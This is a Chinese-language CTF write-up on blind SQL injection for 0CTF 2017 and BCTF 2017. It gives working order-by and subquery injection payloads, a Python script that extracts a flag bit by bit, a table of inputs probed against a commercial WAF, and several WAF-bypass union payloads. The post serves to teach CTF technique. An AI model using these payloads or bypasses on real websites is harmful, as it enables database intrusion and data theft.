在某些 SQL 盲注情况下,不能用常见的二分法爆库。这里是一种按 bit 爆破每一个字符的方法。我在 0CTF 2017 想到了这种方法,然后在 BCTF 2017 找到 Payload 之后改了代码就解出了题目。当然,这种思路毕竟还是 too simple,早已经有人想到了这种方法。
0CTF 2017 Web Temmo's Tiny Shop¶
以下内容摘自我的旧博客,略有删改
洒家参加了 0CTF 2017,做了一些题目。赛后过了好几天,看网上已经有了一些写得不错的 Writeup,这里就写一写洒家的一些不一样的思路。
一些不错的 Writeup:
- https://ctftime.org/event/402/tasks/
- http://www.melodia.pw/?p=889
- https://lorexxar.cn/2017/03/21/0ctf2017-web/
这道题有一个商店,可以购买商品,其中查询已购买商品的 http://202.120.7.197/app.php
存在 order by
盲注。
洒家看网上的 Writeup 在拿到 Hint,知道 flag 的表名后爆破 flag 的每一字节,效率可能比较低。这里是洒家比赛的时候想到的按 bit 爆破的方法,对于 ASCII,只考虑 7 bit,每字节固定需要 7 次请求即可得到。
需要购买 Erwin Schrodinger's Cat
和 Brownie
。
一开始的 Payload 是:
case(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2))when(1)then(name)else(price)end
由于长度限制(WAF,最长 100 字节),修改 Payload:
if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2),name,price)
由于长度还是太长,把 Price
改成 3
也可以排序。
if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))div(16)mod(2),name,3)
注:此处的 3
并不是按第 3 列排序,即和 order by 3
作用不同,而是和 order by '3'
作用相同,和不加 order by
效果相同(不知道是 MySQL 什么特性)
2017 年 5 月 13 日更新:刚才试了一下,上面这个 if(xxx, name, 3)
不好用了。看到 div(16)mod(2)
这种写法太长太傻 X,想到 &
没有被过滤,因此可以改成与运算
改成更短的玩法:
if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1))&16,name,price)
由此,最终的脚本是:
import requests
# code from https://phuker.github.io/
s = requests.Session()
cookie = {'PHPSESSID':'YOURCOOKIE'} # add your cookie
url = 'http://202.120.7.197/app.php'
true_str = '"goods":[{"id":"5"'
false_str = '"goods":[{"id":"2"'
order_by_template = 'if(ascii(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%d,1))&%d,name,price)'
flag = ''
for place_index in xrange(1, 1000):
place_bin = ''
for times in xrange(6,-1,-1):
num = 2 ** times
order_by = order_by_template % (place_index, num)
params = {'action':'search','keyword':'','order':order_by}
r = s.get(url, params=params, cookies=cookie)
#print r.content
if true_str in r.content:
new_place_bin = '1'
else:
new_place_bin = '0'
print new_place_bin,
place_bin += new_place_bin
place = chr(int(place_bin, 2))
flag += place
print flag
if '}' in flag:
break
print '\n***** get flag *****'
print flag
运行效果:
1 1 0 0 1 1 0 f
1 1 0 1 1 0 0 fl
1 1 0 0 0 0 1 fla
1 1 0 0 1 1 1 flag
1 1 1 1 0 1 1 flag{
1 1 1 0 0 1 0 flag{r
(省略)
1 1 0 0 1 0 1 flag{r4ce_c0nditi0n_i5_excite
1 1 0 0 1 0 0 flag{r4ce_c0nditi0n_i5_excited
1 1 1 1 1 0 1 flag{r4ce_c0nditi0n_i5_excited}
***** get flag *****
flag{r4ce_c0nditi0n_i5_excited}
BCTF 2017 Alice and Bob¶
这道题就是个纯 SQL 注入,输入名字(user
表只有 Alice 和 Bob 两项),然后查询这个 user 的说明(desc
字段)。随便输入一个单引号就有 MySQL 报错。简单测试了一下有 WAF,WAF 的逻辑不是以前的 CTF 那种白名单、黑名单,而是非常复杂的逻辑(后来才知道是某商业产品)。最好的绕过 WAF 的方法是让 WAF 失效,但是洒家并没有找到这种方法,首先记录一下正面解决这个问题的心路历程。
以下是“刚正面”的过程:
首先根据报错,等信息,数据库名是 bctf
,SQL 查询的表名是 user
,字段名是 id name desc
。另一个表叫 flag
,字段:id flag
。猜测 SQL 应该类似:
SELECT desc FROM user WHERE name='用户输入'
发现:
输入 | 现象分析 |
---|---|
name=alice'=0# |
没有过滤 |
name=alice'=0%26name='bob'=0# |
没有过滤 |
name=alice'=0+and+name='bob'=0# |
过滤 |
name=sleep(9) |
过滤 |
name=sleep(6-4) |
没有过滤。说明 WAF 对 sleep(纯数字) 的过滤可能可以绕过 |
name='>sleep(6-4)# |
成功 sleep |
name=a'=0# name=a'=sleep(5-4)# |
输出 Alice |
name='or id='2 |
队友发现的这条。id 只能是 1 和 2,说明这个表可能只有两条数据,flag 在别的表里面。 |
name='or flag='0 |
报错 {"desc": "Unknown column 'flag' in 'where clause'"} 。用这种方法确定字段,以及没有 flag 字段 |
name='or user.id='0 |
没有报错。表名是 user。注意不能用来测试 flag.flag 。 |
name='or user.`desc`='Alice is a good girl. |
输出 Alice 的 desc |
name='or (select 1 from flag) or '1 |
试了很多,这种 subquery 直接都被干掉了 |
name='not in (select flag from flag)# |
意外发现没有过滤,in 操作符有奇效。然后可以猜出来 flag 表,flag 字段。 |
name='in (select substr(flag,1,1) from flag)# |
被屏蔽。substr() 很敏感 |
name='=all (select substr(flag,1,1) from flag)# |
意外发现换成 =ALL 有奇效 |
name=Alice'<>all (select ord(substr(flag,1,1)) div(16) mod(2) from flag)# |
被过滤 |
name=Alice'in (select ord(substr(flag,1,1)) div 16 mod 2 from flag)# |
被过滤 |
name=Alice'<>all (select ord(substr(flag,1,1)) div 16 mod 2 from flag)# |
辗转测试了一堆这种组合,这个没有被过滤。 |
name=Alice' =all (select ord(substr(flag,1,1)) div 16 mod 2 from flag)# |
没有过滤 |
以 name=Alice' =all (select ord(substr(flag,1,1)) div 16 mod 2 from flag)#
为例。SQL 注入之后整个 SQL 的逻辑是:假如某一条数据 name
是 'Alice'
,name='Alice'
的值是 1, 然后和后面的子查询比较,如果子查询的 bit 是 1,这条数据就会被输出。同理,对 flag 的每一字节的每一位操作即可得到 flag。脚本和上面的 0CTF 的基本一样。
输出:
1 0 0 0 0 1 1 'C'
1 1 0 1 1 1 1 'Co'
(省略)
0 1 1 0 1 0 0 'Cool, give you an interesting string: bctf{0ad99685303ed109abed3a80269563c4'
1 1 1 1 1 0 1 'Cool, give you an interesting string: bctf{0ad99685303ed109abed3a80269563c4}'
***** get flag *****
Cool, give you an interesting string: bctf{0ad99685303ed109abed3a80269563c4}
谜之让 WAF 失效的方法¶
name=%c0%c0%c0' union select flag from flag #
响应:
{"desc": "Cool, give you an interesting string: bctf{0ad99685303ed109abed3a80269563c4}"}
毁三观。
测试了一下,在上面的 payload 里面,ASCII >= 128 的字符重复 3 次或者 >=8 次即可输出 flag。
Nu1L 战队的 Payload¶
https://www.anquanke.com/post/id/85920
基于语义的 waf,
引入能够打乱语义判断的就可以触发到了
mysql 有 mod 的比较符和函数
想着通过引入两个去打乱语义
payload: 'mod mod(1,1) union select flag from flag#
看完之后深受启发,结合上文发现的 <> all
的效果推测可能也是扰乱了 WAF。于是发现了新的 Payload:
name='<>all(select 0) union select flag from flag#
上面两种都是直接显示 flag。
如何搞出这种稀奇古怪的 Payload¶
看文档¶
- https://dev.mysql.com/doc/refman/5.7/en/comparison-operators.html
- https://dev.mysql.com/doc/refman/5.7/en/any-in-some-subqueries.html
- https://dev.mysql.com/doc/refman/5.7/en/all-subqueries.html
- https://dev.mysql.com/doc/refman/5.7/en/select.html
本地搭环境¶
模拟题目环境,测试自己的 Payload 的正确性。不能想当然。
另外如果题目的操作比较复杂,建议花几分钟先写一个帮助输入、输出的脚本,并把所有的输入和输出记录到文件便于对比。
学习他人人生的经验¶
Beyond SQLi: Obfuscate and Bypass
可以研究一下 SQLmap 的各种 Payload 的含义。搞个网页记录 Payload 然后扫描。
注¶
洒家并不太擅长 SQL 注入,以上只是学习过程中的一点见解。